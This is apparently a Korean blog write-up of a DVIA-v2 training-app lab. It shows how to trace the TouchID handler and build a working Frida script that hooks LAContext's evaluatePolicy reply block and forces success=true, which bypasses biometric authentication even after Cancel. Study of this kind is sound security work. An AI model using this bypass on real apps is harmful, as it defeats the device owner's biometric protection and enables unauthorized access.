다음 상태에서 UI Dump수행
Frida UI Dump Script
var window = ObjC.classes.UIWindow.keyWindow();
var rootControl = window.rootViewController();
var ui = window.recursiveDescription().toString();
var ui_autolayout = window['- _autolayoutTrace']().toString();
var control = rootControl['- _printHierarchy']().toString();
// 전체 UI 계층 출력하고 싶은 경우
// console.log("\n\x1b[31m" + ui + "\x1b[0m");
// Simplified recursiveDescription
// console.log("\n\x1b[34m" + ui_autolayout + "\x1b[0m");
// 현재 화면에 보여지는 UIController를 알고 싶은 경우
console.log("\n\x1b[32m" + control + "\x1b[0m");
==> 실행 결과
DVIA_v2.TouchIDDetailsViewController 클래스 추적
Swift Implementation 터치시 -[DVIA_v2.TouchIDDetailsViewController touchIDTapped:] 함수 호출이 일어남
IDA에서 -[DVIA_v2.TouchIDDetailsViewController touchIDTapped:] 탐색
__T07DVIA_v228TouchIDDetailsViewControllerC13touchIDTappedyypF 으로 따라 들어가면 다음과 같음
LAContext 클래스를 이용하여 TouchID기능을 구현한 것으로 판단됨
TouchID기능 구현에는 두가지 접근법이 있는데, 첫번째는 LocalAuthentication.framework에 포함된 LAContext 클래스를 이용하는 것이고, 두번째는 Security.framework 이용하는 것
첫번째 방법의 경우, 적용이 쉽고 빠르지만, 후킹을 통한 인증우회가 가능함
LAContext 클래스를 이용한 TouchID기능 구현 Objective-C 예시 코드는 다음과 같음
LAContext *context = [[LAContext alloc] init];
NSError *error = nil;
NSString *reason = @"Please authenticate using TouchID.";
if ([context canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&error]) {
[context evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:reason
// reply 메서드에는 block 구문이 인자로 전달되고 있음
reply:^(BOOL success, NSError *error) {
if (success) {
NSLog(@"Auth was OK");
}
else {
//You should do better handling of error here but I'm being lazy
NSLog(@"Error received: %d", error);
}
}];
}
else {
NSLog(@"Can not evaluate Touch ID");
}
reply 메서드의 인자로서 block 구문이 전달되고 있는데, 이것이 frida hooking 포인트.
※ block 구문
block은 애플에서 클로저(closure) 개념을 도입하기 위해 만든 문법.("Blocks are closures for C")
다른 언어에서 클로저(closure), 익명함수, 람다함수 또는 일급객체(first-class object)라고 불림
다음 IDA Pseudocode를 보면 reply메서드로 넘어가는 인자가 block 구문임을 확인 가능
v28에 _NSConcreteStackBlock(a block located on the stack)을 할당하고, 그 block을 copy하여(_Block_copy() 함수를 사용) heap 영역으로 올린다음, objc_msgSend의 5번째 인자(args[4])로 넘기고 있음
-[LAContext evaluatePolicy:localizedReason:reply:] 메서드 호출시 args[4]가 block 구문인지 여부 확인
if(ObjC.available) {
// LAContext클래스의 evaluatePolicy:localizedReason:reply: 메서드를 이용하여 TouchID기능 구현
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
// args[4] 인자값이 block 인지 여부 확인
console.log("\n\x1b[31margs[4]: \x1b[32m" + ObjC.Object(args[4]) + "\x1b[0m");
},
});
}
==> 실행 결과
Block 구문 hooking 코드를 작성하되, 우선 block구문으로 넘어가는 "success", "error" parameter의 인자값이 무엇인지 관찰
if(ObjC.available) {
// LAContext클래스의 evaluatePolicy:localizedReason:reply: 메서드를 이용하여 TouchID기능 구현
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
// args[4] 인자값이 block 인지 여부 확인
console.log("\n\x1b[31margs[4]: \x1b[32m" + ObjC.Object(args[4]) + "\x1b[0m");
// block 구문 후킹
var block = new ObjC.Block(args[4]);
const appCallback = block.implementation;
block.implementation = function (success,error) {
// block 구문의 인자값 관찰
console.log("\n\x1b[31msuccess: \x1b[32m" + success + "\n\x1b[31merror: \x1b[32m" + error + "\x1b[0m");
};
},
});
}
==> 실행 결과
Cancel 버튼 클릭
Block 구문의 "success"인자로는 false가 전달되고, "error"인자로는 Error Domain=... 이 전달됨
따라서, success인자로 전달되는 값을 true로 변경하고, error인자로 전달되는 값을 null로 변경하면 cancel 버튼을 클릭하여도 인증이 성공할 것으로 판단됨
최종 frida script
if(ObjC.available) {
// LAContext클래스의 evaluatePolicy:localizedReason:reply: 메서드를 이용하여 TouchID기능 구현
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
// args[4] 인자값이 block 인지 여부 확인
console.log("\n\x1b[31margs[4]: \x1b[32m" + ObjC.Object(args[4]) + "\x1b[0m");
// block 구문 후킹
var block = new ObjC.Block(args[4]);
const appCallback = block.implementation;
block.implementation = function (success,error) {
// block 구문의 인자값 관찰
console.log("\n\x1b[31msuccess: \x1b[32m" + success + "\n\x1b[31merror: \x1b[32m" + error + "\x1b[0m");
// block 구문의 반환값 변경
const result = appCallback(true, null);
return result;
};
},
});
}
==> 실행 결과
※출처
http://highaltitudehacks.com/2018/07/26/ios-application-security-part-50-touch-id-bypass-with-frida/
http://seorenn.blogspot.com/2014/04/objective-c-blocks-programming.html
https://www.galloway.me.uk/2012/10/a-look-inside-blocks-episode-1/
http://minsone.github.io/mac/ios/how-to-using-block-in-objc
http://fuckingblocksyntax.com/
https://amattn.com/p/objective_c_blocks_summary_syntax_best_practices.html
'Information Security > iOS' 카테고리의 다른 글
iOS 13.5.1 탈옥 - Bootrain (0) | 2020.08.17 |
---|---|
Frida on Non-Jailbreak Device(Frida 비탈옥단말) (0) | 2020.07.25 |
DVIA-v2 Jailbreak Detection Test3 (0) | 2020.07.14 |
Cycript(iOS 12.4) (1) | 2020.07.10 |
DVIA-v2 Jailbreak Detection Test2 (0) | 2020.07.10 |